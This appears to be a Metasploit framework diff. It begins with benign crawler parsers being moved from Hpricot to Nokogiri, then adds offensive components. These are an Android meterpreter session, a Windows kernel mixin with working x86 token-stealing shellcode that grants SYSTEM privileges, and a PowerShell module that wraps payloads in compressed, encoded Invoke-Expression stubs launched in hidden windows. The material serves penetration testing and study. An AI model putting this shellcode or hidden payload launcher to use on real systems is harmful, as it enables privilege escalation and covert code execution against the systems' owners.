ir = ifra.attributes['src']
|
||||
|
||||
if ir and !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',ir,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Error"
|
||||
if ir && !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -10,33 +10,26 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerImage < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('img').each do |i|
|
||||
|
||||
im = i.attributes['src']
|
||||
|
||||
if im and !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',im,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{i[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('img').each do |i|
|
||||
im = i['src']
|
||||
if im && !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', im, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,33 +10,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerLink < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('link').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('link').each do |link|
|
||||
hr = link['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -13,36 +13,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerObjects < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//object/embed").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//object/embed").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -13,36 +13,27 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerScripts < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include? "text/html"
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//script").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//script").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@ CLASSES = Exploit.java
|
|||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
||||
mv *.class ../../../../data/exploits/CVE-2013-2465/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
|
|
@ -37,7 +37,7 @@ class BitStruct
|
|||
old_writer = "#{attr_chars}="
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("c*")
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
|
||||
send(old_writer, data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
||||
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'java/android'
|
||||
end
|
||||
|
||||
def load_android
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load android')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -59,6 +59,12 @@ module MeterpreterOptions
|
|||
end
|
||||
end
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
|
|
|
@ -215,7 +215,7 @@ module Auxiliary::Report
|
|||
end
|
||||
|
||||
case ctype
|
||||
when "text/plain"
|
||||
when /^text\/[\w\.]+$/
|
||||
ext = "txt"
|
||||
end
|
||||
# This method is available even if there is no database, don't bother checking
|
||||
|
|
|
@ -246,8 +246,7 @@ module Exploit::Remote::AFP
|
|||
end
|
||||
|
||||
def parse_header(packet)
|
||||
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
|
||||
header[3] = packet[4..7].reverse.unpack("l").first
|
||||
header = packet.unpack('CCnNNN')
|
||||
return header
|
||||
end
|
||||
|
||||
|
|
|
@ -154,7 +154,7 @@ module Exploit::CmdStager
|
|||
|
||||
# Returns a hash with the :decoder option if possible
|
||||
#
|
||||
# @params opts [Hash] Input Hash.
|
||||
# @param opts [Hash] Input Hash.
|
||||
# @return [Hash] Hash with the input data and a :decoder option when
|
||||
# possible.
|
||||
def opts_with_decoder(opts = {})
|
||||
|
@ -279,7 +279,7 @@ module Exploit::CmdStager
|
|||
# Answers if the input flavor is compatible with the current target or module.
|
||||
#
|
||||
# @param f [Symbol] The flavor to check
|
||||
# @returns [Boolean] true if compatible, false otherwise.
|
||||
# @return [Boolean] true if compatible, false otherwise.
|
||||
def compatible_flavor?(f)
|
||||
return true if target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
|
|
|
@ -0,0 +1,164 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::WindowsKernel
|
||||
include Msf::PostMixin
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
#
|
||||
# Find the address of nt!HalDispatchTable.
|
||||
#
|
||||
# @return [Integer] The address of nt!HalDispatchTable.
|
||||
# @return [nil] If the address could not be found.
|
||||
#
|
||||
def find_haldispatchtable
|
||||
kernel_address, kernel_name = find_sys_base(nil)
|
||||
if kernel_address.nil? || kernel_name.nil?
|
||||
print_error("Failed to find the address of the Windows kernel")
|
||||
return nil
|
||||
end
|
||||
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
|
||||
|
||||
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
|
||||
if h_kernel['return'] == 0
|
||||
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
h_kernel = h_kernel['return']
|
||||
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
|
||||
if hal_dispatch_table['return'] == 0
|
||||
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
hal_dispatch_table = hal_dispatch_table['return']
|
||||
|
||||
hal_dispatch_table -= h_kernel
|
||||
hal_dispatch_table += kernel_address
|
||||
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
|
||||
hal_dispatch_table
|
||||
end
|
||||
|
||||
#
|
||||
# Find the load address for a device driver on the session.
|
||||
#
|
||||
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
|
||||
# if this value is nil.
|
||||
# @return [Array] An array containing the base address and the located drivers name.
|
||||
# @return [nil] If the name specified could not be found.
|
||||
#
|
||||
def find_sys_base(drvname)
|
||||
if session.railgun.util.pointer_size == 8
|
||||
ptr = '<Q'
|
||||
else
|
||||
ptr = 'V'
|
||||
end
|
||||
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
if results['return'] == 0
|
||||
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
current_drvname = results['lpBaseName'][0,results['return']]
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return address, current_drvname
|
||||
end
|
||||
elsif drvname == current_drvname
|
||||
return address, current_drvname
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Open a device on a meterpreter session with a call to CreateFileA and return
|
||||
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
|
||||
# are specified as nil.
|
||||
#
|
||||
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
|
||||
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
|
||||
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
|
||||
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
|
||||
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
|
||||
# @return [Integer] The device handle.
|
||||
# @return [nil] If the call to CreateFileA failed.
|
||||
#
|
||||
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
|
||||
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
|
||||
if handle['return'] == INVALID_HANDLE_VALUE
|
||||
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
handle['return']
|
||||
end
|
||||
|
||||
#
|
||||
# Generate token stealing shellcode suitable for use when overwriting the
|
||||
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
|
||||
# registers.
|
||||
#
|
||||
# @param target [Hash] The target information containing the offsets to _KPROCESS,
|
||||
# _TOKEN, _UPID and _APLINKS.
|
||||
# @param backup_token [Integer] An optional location to write a copy of the
|
||||
# original token to so it can be restored later.
|
||||
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||
# the arch will be guessed from the target and then module information.
|
||||
# @return [String] The token stealing shellcode.
|
||||
# @raise [ArgumentError] If the arch is incompatible.
|
||||
#
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
||||
end
|
||||
if arch.nil?
|
||||
print_error('Can not determine the target architecture')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
|
||||
tokenstealing = ''
|
||||
case arch
|
||||
when ARCH_X86
|
||||
tokenstealing << "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
unless backup_token.nil?
|
||||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||
end
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
else
|
||||
# if this is reached the issue most likely exists in the exploit module
|
||||
print_error('Unsupported arch for token stealing shellcode')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
tokenstealing
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,178 +1,380 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'zlib'
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
|
||||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
|
||||
OptBool.new('RUN_WOW64', [
|
||||
true,
|
||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
||||
false
|
||||
]),
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
||||
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
||||
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
||||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
# @param script_in [String] Script contents
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
return script
|
||||
psh.encode_code
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
#
|
||||
# Read in a powershell script stored in +script+
|
||||
#
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell script
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression << "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression << "$stream,"
|
||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Runs powershell in hidden window raising interactive proc msg
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
||||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
ps_wrapper = <<EOS
|
||||
$si = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$si.FileName = #{ps_bin}
|
||||
$si.Arguments = '#{ps_args}'
|
||||
$si.UseShellExecute = $false
|
||||
$si.RedirectStandardOutput = $true
|
||||
$si.WindowStyle = 'Hidden'
|
||||
$si.CreateNoWindow = $True
|
||||
$p = [System.Diagnostics.Process]::Start($si)
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
return ps_wrapper
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates cmd script to execute psh payload
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
|
||||
# Allow powershell 1.0 format
|
||||
if old_psh
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
else
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
